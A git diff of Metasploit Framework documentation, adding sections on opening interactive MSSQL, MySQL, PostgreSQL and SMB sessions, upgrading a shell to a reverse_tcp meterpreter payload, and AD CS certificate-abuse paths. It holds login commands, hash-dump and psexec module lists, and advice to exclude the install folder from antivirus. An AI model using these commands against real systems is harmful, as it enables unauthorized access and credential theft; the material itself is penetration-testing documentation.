is specified. In order for the static entry to be used, at least one rule must match the hostname, and that rule must be
|
||||
configured to use the static resolver. A single hostname can be associated with multiple IP addresses and the same IP
|
||||
address can be associated with multiple hostnames.
|
||||
|
||||
### Example Static Entries
|
||||
|
||||
Define static entries for `localhost` and common variations.
|
||||
|
||||
```
|
||||
dns add-static localhost 127.0.0.1 ::1
|
||||
dns add-static localhost4 127.0.0.1
|
||||
dns add-static localhost6 ::1
|
||||
```
|
||||
|
||||
Remove all static entries for `localhost`.
|
||||
|
||||
```
|
||||
dns remove-static localhost
|
||||
```
|
||||
|
||||
Remove all static entries.
|
||||
|
||||
```
|
||||
dns flush-static
|
||||
```
|
||||
|
||||
## The DNS Cache
|
||||
DNS query replies are cached internally by Metasploit based on their TTL. This intends to minimize the amount of network
|
||||
traffic required to perform the necessary lookups. The number of query replies that are currently cached is available in
|
||||
the `dns print` output and all replies can be flushed with the `flush-cache` subcommand.
|
||||
|
||||
## Configuration Management
|
||||
The DNS configuration can be saved using the `save` command from the `msfconsole` command context. Once saved, the
|
||||
settings will be automatically restored the next time Metasploit starts up. Any changes that are made at runtime will be
|
||||
lost when Metasploit exits, unless the `save` command is used.
|
||||
|
||||
### Resetting the Configuration
|
||||
The DNS configuration can be restored to the default state by using the `reset-config` subcommand. The default
|
||||
configuration:
|
||||
|
||||
* Populates the static entries from the host operating system's `hosts` file
|
||||
* Defines a single rule that matches all query names whose first resolver is the `static` resolver and the remaining
|
||||
resolvers are set from the host operating systems' resolv.conf file
|
||||
|
||||
## Resolving hostnames
|
||||
The `resolve` subcommand can be used to resolve a hostname to either an IPv4 or IPv6 address. In doing so, the rule that
|
||||
was used to define the resolvers will be printed allowing the wildcard matching logic to be tested.
|
||||
@@ -29,7 +29,7 @@ All of the above features can also be logically separated within workspaces. By
|
||||
|
||||
## Using msfdb
|
||||
|
||||
Using msfdb is simple. If you are starting the database for the first time navigate to the folder Metasploit is saved to, and run `./msfdb init`.
|
||||
Using msfdb is simple. If you are starting the database for the first time navigate to the folder Metasploit is saved to, and run `./msfdb init`
|
||||
```
|
||||
Creating database at /Users/your_current_account_name/.msf4/db
|
||||
Starting database at /Users/your_current_account_name/.msf4/db...success
|
||||
@@ -39,9 +39,14 @@ Starting database at /Users/your_current_account_name/.msf4/db...success
|
||||
Creating initial database schema
|
||||
```
|
||||
|
||||
This looks like a lot of information, but all it's saying is that it's creating the database Metasploit will use to store information.
|
||||
This looks like a lot of information, but all it's saying is that it's creating the database Metasploit will use to store information. If you start up msfconsole now it should automatically connect to the database, and if you run `db_status` you should see something like this:
|
||||
|
||||
msfdb then needs to establish the credentials that are used in the Web Service. The Web Service is how Metasploit connects to the database we have just created. The first prompt asks you what username you want to use to connect to the database.
|
||||
```
|
||||
msf6 > db_status
|
||||
[*] Connected to msf. Connection type: postgresql.
|
||||
```
|
||||
|
||||
You can also setup a Web Service, which Metasploit can use to connect to the database you have just created. Msfdb needs to establish the credentials that are used in the Web Service. If you run `msfdb --component webservice init` the first prompt asks you what username you want to use to connect to the database:
|
||||
|
||||
```
|
||||
[?] Initial MSF web service account username? [your_current_account_name]:
|
||||
|
||||
@@ -3,11 +3,23 @@
|
||||
Microsoft SQL Server (MSSQL) is a relational database management system. Commonly used in conjunction with web applications
|
||||
and other software that need to persist data. MSSQL is a useful target for data extraction and code execution.
|
||||
|
||||
MySQL is frequently found on port on the following ports:
|
||||
MSSQL is frequently found on port on the following ports:
|
||||
|
||||
- 1433/TCP
|
||||
- 1434/UDP
|
||||
|
||||
For a full list of MSSQL modules run the `search` command within msfconsole:
|
||||
|
||||
```msf
|
||||
msf6 > search mssql
|
||||
```
|
||||
|
||||
Or to search for modules that work with a specific session type:
|
||||
|
||||
```msf
|
||||
msf6 > search session_type:mssql
|
||||
```
|
||||
|
||||
### Lab Environment
|
||||
|
||||
Environment setup:
|
||||
@@ -26,6 +38,176 @@ use auxiliary/admin/mssql/mssql_sql
|
||||
run rhost=192.168.123.13 username=administrator password=p4$$w0rd sql='select auth_scheme from sys.dm_exec_connections where session_id=@@spid'
|
||||
```
|
||||
|
||||
### Logging in and obtaining a session
|
||||
To log in or obtain an interactive session on an MSSQL instance running on the target, use mssql_login
|
||||
|
||||
```msf
|
||||
use auxiliary/scanner/mssql_login
|
||||
run CreateSession=true RPORT=1433 RHOSTS=192.168.2.242 USERNAME=user PASSWORD=password
|
||||
```
|
||||
|
||||
The CreateSession option, when set to true, will result in returning an interactive MSSQL session with the target machine
|
||||
on a successful login:
|
||||
|
||||
```msf
|
||||
[*] 192.168.2.242:1433 - 192.168.2.242:1433 - MSSQL - Starting authentication scanner.
|
||||
[!] 192.168.2.242:1433 - No active DB -- Credential data will not be saved!
|
||||
[+] 192.168.2.242:1433 - 192.168.2.242:1433 - Login Successful: WORKSTATION\user:password
|
||||
[*] MSSQL session 1 opened (192.168.2.1:60963 -> 192.168.2.242:1433) at 2024-03-15 13:41:31 -0500
|
||||
[*] 192.168.2.242:1433 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
Which you can interact with using `sessions -i <session id>` or `sessions -i -1` to interact with the most recently opened session.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/mssql/mssql_login) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 mssql MSSQL test @ 192.168.2.242:1433 192.168.2.1:60963 -> 192.168.23.242:1433 (192.168.2.242)
|
||||
|
||||
msf6 auxiliary(scanner/mssql/mssql_login) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
mssql @ 192.168.2.242:1433 (master) > query 'select @@version;'
|
||||
Response
|
||||
========
|
||||
|
||||
# NULL
|
||||
- ----
|
||||
0 Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64)
|
||||
Oct 8 2022 05:58:25
|
||||
Copyright (C) 2022 Microsoft Corporation
|
||||
Developer Edition (64-bit) on Windows Server 2022 Stand
|
||||
ard 10.0 <X64> (Build 20348: ) (Hypervisor)
|
||||
```
|
||||
|
||||
When interacting with a session, the help command can be useful:
|
||||
|
||||
```msf
|
||||
mssql @ 192.168.2.242:1433 (master) > help
|
||||
|
||||
Core Commands
|
||||
=============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
? Help menu
|
||||
background Backgrounds the current session
|
||||
bg Alias for background
|
||||
exit Terminate the PostgreSQL session
|
||||
help Help menu
|
||||
irb Open an interactive Ruby shell on the current session
|
||||
pry Open the Pry debugger on the current session
|
||||
sessions Quickly switch to another session
|
||||
|
||||
|
||||
MSSQL Client Commands
|
||||
=====================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
query Run a single SQL query
|
||||
query_interactive Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
|
||||
Local File System Commands
|
||||
==========================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
getlwd Print local working directory (alias for lpwd)
|
||||
lcat Read the contents of a local file to the screen
|
||||
lcd Change local working directory
|
||||
ldir List local files (alias for lls)
|
||||
lls List local files
|
||||
lmkdir Create new directory on local machine
|
||||
lpwd Print local working directory
|
||||
|
||||
This session also works with the following modules:
|
||||
|
||||
auxiliary/admin/mssql/mssql_enum
|
||||
auxiliary/admin/mssql/mssql_escalate_dbowner
|
||||
auxiliary/admin/mssql/mssql_escalate_execute_as
|
||||
auxiliary/admin/mssql/mssql_exec
|
||||
auxiliary/admin/mssql/mssql_findandsampledata
|
||||
auxiliary/admin/mssql/mssql_idf
|
||||
auxiliary/admin/mssql/mssql_sql
|
||||
auxiliary/admin/mssql/mssql_sql_file
|
||||
auxiliary/scanner/mssql/mssql_hashdump
|
||||
auxiliary/scanner/mssql/mssql_schemadump
|
||||
exploit/windows/mssql/mssql_payload
|
||||
```
|
||||
|
||||
To interact directly with the session as if in a SQL prompt, you can use the `query` command.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/mssql/mssql_login) > sessions -i -1
|
||||
[*] Starting interaction with 2...
|
||||
|
||||
mssql @ 192.168.2.242:1433 (master) > query -h
|
||||
Usage: query
|
||||
|
||||
Run a single SQL query on the target.
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-h, --help Help menu.
|
||||
-i, --interact Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
Examples:
|
||||
|
||||
query select @@version;
|
||||
query select user_name();
|
||||
query select name from master.dbo.sysdatabases;
|
||||
|
||||
mssql @ 192.168.2.242:1433 (master) > query 'select @@version;'
|
||||
Response
|
||||
========
|
||||
|
||||
# NULL
|
||||
- ----
|
||||
0 Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64)
|
||||
Oct 8 2022 05:58:25
|
||||
Copyright (C) 2022 Microsoft Corporation
|
||||
Developer Edition (64-bit) on Windows Server 2022 Standard 10.0 <X64> (B
|
||||
uild 20348: ) (Hypervisor)
|
||||
```
|
||||
|
||||
Alternatively you can enter a SQL prompt via the `query_interactive` command which supports multiline commands:
|
||||
|
||||
```msf
|
||||
mssql @ 192.168.2.242:1433 (master) > query_interactive -h
|
||||
Usage: query_interactive
|
||||
|
||||
Go into an interactive SQL shell where SQL queries can be executed.
|
||||
To exit, type 'exit', 'quit', 'end' or 'stop'.
|
||||
|
||||
mssql @ 192.168.2.242:1433 (master) > query_interactive
|
||||
[*] Starting interactive SQL shell for mssql @ 192.168.2.242:1433 (master)
|
||||
[*] SQL commands ending with ; will be executed on the remote server. Use the exit command to exit.
|
||||
|
||||
SQL >> select *
|
||||
SQL *> from information_schema.tables
|
||||
SQL *> where table_type = 'BASE TABLE';
|
||||
[*] Executing query: select * from information_schema.tables where table_type = 'BASE TABLE';
|
||||
Response
|
||||
========
|
||||
# TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
|
||||
- ------------- ------------ ---------- ----------
|
||||
0 master dbo spt_fallback_db BASE TABLE
|
||||
1 master dbo spt_fallback_dev BASE TABLE
|
||||
2 master dbo spt_fallback_usg BASE TABLE
|
||||
4 master dbo Users BASE TABLE
|
||||
5 master dbo spt_monitor BASE TABLE
|
||||
6 master dbo MSreplication_options BASE TABLE
|
||||
SQL >>
|
||||
```
|
||||
|
||||
### Link crawling
|
||||
|
||||
Identify if the SQL server has been configured with trusted links, which allows running queries on other MSSQL instances:
|
||||
|
||||
@@ -17,6 +17,12 @@ There are more modules than listed here, for the full list of modules run the `s
|
||||
msf6 > search mysql
|
||||
```
|
||||
|
||||
Or to search for modules that work with a specific session type:
|
||||
|
||||
```msf
|
||||
msf6 > search session_type:mysql
|
||||
```
|
||||
|
||||
### Lab Environment
|
||||
|
||||
When testing in a lab environment MySQL can either be installed on the host machine or within Docker:
|
||||
@@ -79,6 +85,158 @@ run cidr:/24:mysql://user:pass@192.168.222.0 threads=50
|
||||
run cidr:/24:mysql://user@192.168.222.0 threads=50 pass_file=./wordlist.txt
|
||||
```
|
||||
|
||||
### Obtaining an Interactive Session on the Target
|
||||
|
||||
The CreateSession option in `auxiliary/scanner/mysql/msql_login` allows you to obtain an interactive session
|
||||
for the MySQL client you're connecting to. The run command with CreateSession
|
||||
set to true should give you an interactive session:
|
||||
|
||||
```msf
|
||||
msf6 > use scanner/mysql/mysql_login
|
||||
msf6 auxiliary(scanner/mysql/mysql_login) > run rhost=127.0.0.1 rport=4306 username=root password=password createsession=true
|
||||
|
||||
[+] 127.0.0.1:4306 - 127.0.0.1:4306 - Found remote MySQL version 11.2.2
|
||||
[+] 127.0.0.1:4306 - 127.0.0.1:4306 - Success: 'root:password'
|
||||
[*] MySQL session 1 opened (127.0.0.1:53241 -> 127.0.0.1:4306) at 2024-03-12 12:40:46 -0500
|
||||
[*] 127.0.0.1:4306 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/mysql/mysql_login) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
mysql @ 127.0.0.1:4306 >
|
||||
```
|
||||
|
||||
You can interact with your new session using `sessions -i -1` or `sessions <session id>`.
|
||||
You can also use `help` to get more information about how to use your session.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/mysql/mysql_login) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
2 mssql MSSQL test @ 192.168.2.242:1433 192.168.2.1:61428 -> 192.168.2.242:1433 (192.168.2.242)
|
||||
3 mysql MySQL root @ 127.0.0.1:4306 127.0.0.1:61450 -> 127.0.0.1:4306 (127.0.0.1)
|
||||
|
||||
msf6 auxiliary(scanner/mysql/mysql_login) > sessions -i 3
|
||||
[*] Starting interaction with 3...
|
||||
```
|
||||
|
||||
When interacting with a session, the help command can be useful:
|
||||
|
||||
```msf
|
||||
mysql @ 127.0.0.1:4306 > help
|
||||
|
||||
Core Commands
|
||||
=============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
? Help menu
|
||||
background Backgrounds the current session
|
||||
bg Alias for background
|
||||
exit Terminate the PostgreSQL session
|
||||
help Help menu
|
||||
irb Open an interactive Ruby shell on the current session
|
||||
pry Open the Pry debugger on the current session
|
||||
sessions Quickly switch to another session
|
||||
|
||||
|
||||
MySQL Client Commands
|
||||
=====================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
query Run a single SQL query
|
||||
query_interactive Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
|
||||
Local File System Commands
|
||||
==========================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
getlwd Print local working directory (alias for lpwd)
|
||||
lcat Read the contents of a local file to the screen
|
||||
lcd Change local working directory
|
||||
ldir List local files (alias for lls)
|
||||
lls List local files
|
||||
lmkdir Create new directory on local machine
|
||||
lpwd Print local working directory
|
||||
|
||||
This session also works with the following modules:
|
||||
|
||||
auxiliary/admin/mysql/mysql_enum
|
||||
auxiliary/admin/mysql/mysql_sql
|
||||
auxiliary/scanner/mysql/mysql_file_enum
|
||||
auxiliary/scanner/mysql/mysql_hashdump
|
||||
auxiliary/scanner/mysql/mysql_schemadump
|
||||
auxiliary/scanner/mysql/mysql_version
|
||||
auxiliary/scanner/mysql/mysql_writable_dirs
|
||||
exploit/multi/mysql/mysql_udf_payload
|
||||
exploit/windows/mysql/mysql_mof
|
||||
exploit/windows/mysql/mysql_start_up
|
||||
```
|
||||
|
||||
Once you've done that, you can run any MySQL query against the target using the `query` command:
|
||||
|
||||
```msf
|
||||
mysql @ 127.0.0.1:4306 > query -h
|
||||
Usage: query
|
||||
|
||||
Run a single SQL query on the target.
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-h, --help Help menu.
|
||||
-i, --interact Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
Examples:
|
||||
|
||||
query SHOW DATABASES;
|
||||
query USE information_schema;
|
||||
query SELECT * FROM SQL_FUNCTIONS;
|
||||
query SELECT version();
|
||||
|
||||
mysql @ 127.0.0.1:4306 > query 'SELECT version();'
|
||||
Response
|
||||
========
|
||||
|
||||
# version()
|
||||
- ---------
|
||||
0 11.2.2-MariaDB-1:11.2.2+maria~ubu2204
|
||||
```
|
||||
|
||||
Alternatively you can enter a SQL prompt via the `query_interactive` command which supports multiline commands:
|
||||
|
||||
```msf
|
||||
mysql @ 127.0.0.1:4306 () > query_interactive -h
|
||||
Usage: query_interactive
|
||||
|
||||
Go into an interactive SQL shell where SQL queries can be executed.
|
||||
To exit, type 'exit', 'quit', 'end' or 'stop'.
|
||||
|
||||
mysql @ 127.0.0.1:4306 () > query_interactive
|
||||
[*] Starting interactive SQL shell for mysql @ 127.0.0.1:4306 ()
|
||||
[*] SQL commands ending with ; will be executed on the remote server. Use the exit command to exit.
|
||||
|
||||
SQL >> SELECT table_name
|
||||
SQL *> FROM information_schema.tables
|
||||
SQL *> LIMIT 2;
|
||||
[*] Executing query: SELECT table_name FROM information_schema.tables LIMIT 2;
|
||||
Response
|
||||
========
|
||||
|
||||
# table_name
|
||||
- ----------
|
||||
0 ALL_PLUGINS
|
||||
1 APPLICABLE_ROLES
|
||||
|
||||
SQL >>
|
||||
```
|
||||
|
||||
### MySQL Dumping
|
||||
|
||||
User and hash dump:
|
||||
|
||||
@@ -17,6 +17,13 @@ There are more modules than listed here, for the full list of modules run the `s
|
||||
msf6 > search postgres
|
||||
```
|
||||
|
||||
Or to search for modules that work with a specific session type:
|
||||
|
||||
```msf
|
||||
msf6 > search session_type:postgres
|
||||
```
|
||||
|
||||
|
||||
### Lab Environment
|
||||
|
||||
When testing in a lab environment PostgreSQL can either be installed on the host machine or within Docker:
|
||||
@@ -80,6 +87,158 @@ run cidr:/24:postgres://user:pass@192.168.222.0 threads=50
|
||||
run cidr:/24:postgres://user@192.168.222.0 threads=50 pass_file=./wordlist.txt
|
||||
```
|
||||
|
||||
### Obtaining an Interactive Session
|
||||
The CreateSession option for `auxiliary/scanner/postgres/postgres_login` allows you to obtain an
|
||||
interactive session for the Postgres client you're connecting to. The run command with CreateSession
|
||||
set to true should give you an interactive session.
|
||||
|
||||
For example:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/postgres/postgres_login) > run rhost=127.0.0.1 rport=5432 username=postgres password=password database=template1 createsession=true
|
||||
```
|
||||
|
||||
Should yield:
|
||||
|
||||
```msf
|
||||
[+] 127.0.0.1:5432 - Login Successful: postgres:password@template1
|
||||
[*] PostgreSQL session 1 opened (127.0.0.1:61324 -> 127.0.0.1:5432) at 2024-03-15 14:00:12 -0500
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
You can interact with your session using `sessions -i -1` or `sessions <session id>`.
|
||||
Use the help command for more info.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/postgres/postgres_login) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 postgresql PostgreSQL postgres @ 127.0.0.1:5432 127.0.0.1:61324 -> 127.0.0.1:5432 (127.0.0.1)
|
||||
|
||||
msf6 auxiliary(scanner/postgres/postgres_login) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
```
|
||||
|
||||
When interacting with a session, the help command can be useful:
|
||||
|
||||
```msf
|
||||
postgresql @ 127.0.0.1:5432 (template1) > help
|
||||
|
||||
Core Commands
|
||||
=============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
? Help menu
|
||||
background Backgrounds the current session
|
||||
bg Alias for background
|
||||
exit Terminate the PostgreSQL session
|
||||
help Help menu
|
||||
irb Open an interactive Ruby shell on the current session
|
||||
pry Open the Pry debugger on the current session
|
||||
sessions Quickly switch to another session
|
||||
|
||||
|
||||
PostgreSQL Client Commands
|
||||
==========================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
query Run a single SQL query
|
||||
query_interactive Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
|
||||
Local File System Commands
|
||||
==========================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
getlwd Print local working directory (alias for lpwd)
|
||||
lcat Read the contents of a local file to the screen
|
||||
lcd Change local working directory
|
||||
ldir List local files (alias for lls)
|
||||
lls List local files
|
||||
lmkdir Create new directory on local machine
|
||||
lpwd Print local working directory
|
||||
|
||||
This session also works with the following modules:
|
||||
|
||||
auxiliary/admin/postgres/postgres_readfile
|
||||
auxiliary/admin/postgres/postgres_sql
|
||||
auxiliary/scanner/postgres/postgres_hashdump
|
||||
auxiliary/scanner/postgres/postgres_schemadump
|
||||
auxiliary/scanner/postgres/postgres_version
|
||||
exploit/linux/postgres/postgres_payload
|
||||
exploit/multi/postgres/postgres_copy_from_program_cmd_exec
|
||||
exploit/multi/postgres/postgres_createlang
|
||||
exploit/windows/postgres/postgres_payload
|
||||
```
|
||||
|
||||
Once you've done that, you can run any Postgres query against the target using the `query` command:
|
||||
|
||||
```msf
|
||||
postgresql @ 127.0.0.1:5432 (template1) > query -h
|
||||
Usage: query
|
||||
|
||||
Run a single SQL query on the target.
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-h, --help Help menu.
|
||||
-i, --interact Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
Examples:
|
||||
|
||||
query SELECT user;
|
||||
query SELECT version();
|
||||
query SELECT * FROM pg_catalog.pg_tables;
|
||||
|
||||
postgresql @ 127.0.0.1:5432 (template1) > query 'SELECT version();'
|
||||
[*] SELECT 1
|
||||
|
||||
Response
|
||||
========
|
||||
|
||||
# version
|
||||
- -------
|
||||
0 PostgreSQL 14.1 on aarch64-apple-darwin20.6.0, compiled by Apple clang version 12.0.5 (clang-1205.0.22.9), 64-bit
|
||||
```
|
||||
|
||||
Alternatively you can enter a SQL prompt via the `query_interactive` command which supports multiline commands:
|
||||
|
||||
```msf
|
||||
postgresql @ 127.0.0.1:5432 (template1) > query_interactive -h
|
||||
Usage: query_interactive
|
||||
|
||||
Go into an interactive SQL shell where SQL queries can be executed.
|
||||
To exit, type 'exit', 'quit', 'end' or 'stop'.
|
||||
|
||||
postgresql @ 127.0.0.1:5432 (template1) > query_interactive
|
||||
[*] Starting interactive SQL shell for postgresql @ 127.0.0.1:5432 (template1)
|
||||
[*] SQL commands ending with ; will be executed on the remote server. Use the exit command to exit.
|
||||
|
||||
SQL >> SELECT table_name
|
||||
SQL *> FROM information_schema.tables
|
||||
SQL *> LIMIT 2;
|
||||
[*] Executing query: SELECT table_name FROM information_schema.tables LIMIT 2;
|
||||
[*] SELECT 2
|
||||
|
||||
Response
|
||||
========
|
||||
|
||||
# table_name
|
||||
- ----------
|
||||
0 pg_statistic
|
||||
1 pg_type
|
||||
|
||||
SQL >>
|
||||
```
|
||||
|
||||
### PostgreSQL Capture Server
|
||||
|
||||
Captures and log PostgreSQL credentials:
|
||||
|
||||
@@ -8,7 +8,7 @@ There are two main ports for SMB:
|
||||
- 445/TCP - Newer versions of SMB use this port, were NetBIOS is not used.
|
||||
|
||||
Other terminology to be aware of:
|
||||
- SMB - Serer Message Blocks
|
||||
- SMB - Server Message Blocks
|
||||
- CIFS - Common Internet File System
|
||||
- Samba - A free software re-implementation of SMB, which is frequently found on unix-like systems
|
||||
|
||||
@@ -24,7 +24,13 @@ Metasploit has support for multiple SMB modules, including:
|
||||
There are more modules than listed here, for the full list of modules run the `search` command within msfconsole:
|
||||
|
||||
```msf
|
||||
msf6 > search mysql
|
||||
msf6 > search smb
|
||||
```
|
||||
|
||||
Or to search for modules that work with a specific session type:
|
||||
|
||||
```msf
|
||||
msf6 > search session_type:smb
|
||||
```
|
||||
|
||||
### Lab Environment
|
||||
@@ -63,6 +69,122 @@ Restart the service:
|
||||
service smbd restart
|
||||
```
|
||||
|
||||
### SMB Login and Interactive Sessions
|
||||
|
||||
When using the smb_login module, the CreateSession option can be used to obtain an interactive
|
||||
session within the smb instance. Running with the following options:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/smb/smb_login) > run CreateSession=true RHOSTS=172.14.2.164 RPORT=445 SMBDomain=windomain.local SMBPass=password SMBUser=username
|
||||
```
|
||||
|
||||
Should give you output similar to
|
||||
|
||||
```msf
|
||||
[*] 172.14.2.164:445 - 172.14.2.164:445 - Starting SMB login bruteforce
|
||||
[+] 172.14.2.164:445 - 172.14.2.164:445 - Success: 'windomain.local\username:password' Administrator
|
||||
[*] SMB session 1 opened (172.16.158.1:62793 -> 172.14.2.164:445) at 2024-03-12 17:03:09 +0000
|
||||
[*] 172.14.2.164:445 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
```
|
||||
|
||||
Which you can interact with using `sessions -i <session id>` or `sessions -i -1` to interact with the most recently opened session.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
SMB (172.14.2.164) > shares
|
||||
Shares
|
||||
======
|
||||
|
||||
# Name Type comment
|
||||
- ---- ---- -------
|
||||
0 ADMIN$ DISK|SPECIAL Remote Admin
|
||||
1 C$ DISK|SPECIAL Default share
|
||||
2 foo DISK
|
||||
3 IPC$ IPC|SPECIAL Remote IPC
|
||||
|
||||
SMB (172.14.2.164) > shares -i foo
|
||||
[+] Successfully connected to foo
|
||||
SMB (172.14.2.164\foo) > ls
|
||||
ls
|
||||
===
|
||||
[truncated]
|
||||
```
|
||||
|
||||
When interacting with a session, the help command can be useful:
|
||||
|
||||
```msf
|
||||
SMB (172.14.2.164\foo) > help
|
||||
|
||||
Core Commands
|
||||
=============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
? Help menu
|
||||
background Backgrounds the current session
|
||||
bg Alias for background
|
||||
exit Terminate the SMB session
|
||||
help Help menu
|
||||
irb Open an interactive Ruby shell on the current session
|
||||
pry Open the Pry debugger on the current session
|
||||
sessions Quickly switch to another session
|
||||
|
||||
|
||||
Shares Commands
|
||||
===============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
cat Read the file at the given path
|
||||
cd Change the current remote working directory
|
||||
delete Delete a file
|
||||
dir List all files in the current directory (alias for ls)
|
||||
download Download a file
|
||||
ls List all files in the current directory
|
||||
mkdir Make a new directory
|
||||
pwd Print the current remote working directory
|
||||
rmdir Delete a directory
|
||||
shares View the available shares and interact with one
|
||||
upload Upload a file
|
||||
|
||||
|
||||
Local File System Commands
|
||||
==========================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
getlwd Print local working directory (alias for lpwd)
|
||||
lcat Read the contents of a local file to the screen
|
||||
lcd Change local working directory
|
||||
ldir List local files (alias for lls)
|
||||
lls List local files
|
||||
lmkdir Create new directory on local machine
|
||||
lpwd Print local working directory
|
||||
|
||||
This session also works with the following modules:
|
||||
|
||||
auxiliary/admin/dcerpc/icpr_cert
|
||||
auxiliary/admin/dcerpc/samr_computer
|
||||
auxiliary/admin/smb/delete_file
|
||||
auxiliary/admin/smb/download_file
|
||||
auxiliary/admin/smb/psexec_ntdsgrab
|
||||
auxiliary/admin/smb/upload_file
|
||||
auxiliary/gather/windows_secrets_dump
|
||||
auxiliary/scanner/smb/pipe_auditor
|
||||
auxiliary/scanner/smb/pipe_dcerpc_auditor
|
||||
auxiliary/scanner/smb/smb_enum_gpp
|
||||
auxiliary/scanner/smb/smb_enumshares
|
||||
auxiliary/scanner/smb/smb_enumusers
|
||||
auxiliary/scanner/smb/smb_enumusers_domain
|
||||
auxiliary/scanner/smb/smb_lookupsid
|
||||
exploit/windows/smb/psexec
|
||||
```
|
||||
|
||||
### SMB Enumeration
|
||||
|
||||
Enumerate SMB version:
|
||||
|
||||
@@ -20,3 +20,13 @@ run session=-1
|
||||
run session=-1 win_transfer=POWERSHELL
|
||||
run session=-1 win_transfer=VBS
|
||||
```
|
||||
|
||||
If you want to upgrade your shell with fine control over what payload, use the `PAYLOAD_OVERRIDE`, `PLATFORM_OVERRIDE`, and on windows, `PSH_ARCH_OVERRIDE`. All 3 options are required to set an override on windows, and the first two options are required on other platforms, unless you are not using an override.
|
||||
|
||||
```
|
||||
use multi/manage/shell_to_meterpreter
|
||||
set SESSION 1
|
||||
set PAYLOAD_OVERRIDE windows/meterpreter/reverse_tcp
|
||||
set PLATFORM_OVERRIDE windows
|
||||
set PSH_ARCH_OVERRIDE x64
|
||||
```
|
||||
|
||||
@@ -24,7 +24,9 @@ The latest OS X installer package can also be downloaded directly here: <https:/
|
||||
|
||||
## Installing Metasploit on Windows
|
||||
|
||||
Download the [latest Windows installer](https://windows.metasploit.com/metasploitframework-latest.msi) or [view older builds](https://windows.metasploit.com/). To install, simply download the .msi package, adjust your Antivirus as-needed to ignore c:\metasploit-framework, double-click and enjoy. The msfconsole command and all related tools will be added to the system %PATH% environment variable.
|
||||
Download the [latest Windows installer](https://windows.metasploit.com/metasploitframework-latest.msi) or [view older builds](https://windows.metasploit.com/).
|
||||
To install, download the `.msi` package, adjust your Antivirus as-needed to ignore `c:\metasploit-framework` and execute the installer by right-clicking the installer file and selecting "Run as Administrator".
|
||||
The msfconsole command and all related tools will be added to the system `%PATH%` environment variable.
|
||||
|
||||
### Windows Anti-virus software flags the contents of these packages!
|
||||
|
||||
|
||||
+118
-34
@@ -5,18 +5,39 @@ for testing purposes.
|
||||
# Introduction to AD CS Vulnerabilities
|
||||
```mermaid
|
||||
flowchart TD
|
||||
escexp[Find vulnerable certificate templates\nvia ldap_esc_vulnerable_cert_finder] --> icpr[Issue certificates via icpr_cert]
|
||||
icpr[Issue certificates via icpr_cert] --> ESC1{{ESC1}}
|
||||
ESC1{{ESC1}} -- Via PKINIT --> pkinit{Authenticate to Kerberos}
|
||||
icpr[Issue certificates via icpr_cert] --> users[Request certificates on behalf of other users]
|
||||
users[Request certificates on behalf of other users] --> ESC2{{ESC2}}
|
||||
users[Request certificates on behalf of other users] --> ESC3{{ESC3}}
|
||||
ESC2{{ESC2}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
|
||||
ESC3{{ESC3}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
|
||||
ad_cs_template[Reconfigure certificates via ad_cs_cert_template] -- Exploit configuration --> icpr
|
||||
subgraph ad_cs_cert_templates[<b>ad_cs_cert_templates</b>]
|
||||
ESC4(ESC4)
|
||||
update_template[<i>Update Template</i>]
|
||||
ESC4 --> update_template
|
||||
end
|
||||
subgraph icpr_cert[<b>icpr_cert</b>]
|
||||
ESC1(ESC1)
|
||||
ESC2(ESC2)
|
||||
ESC3(ESC3)
|
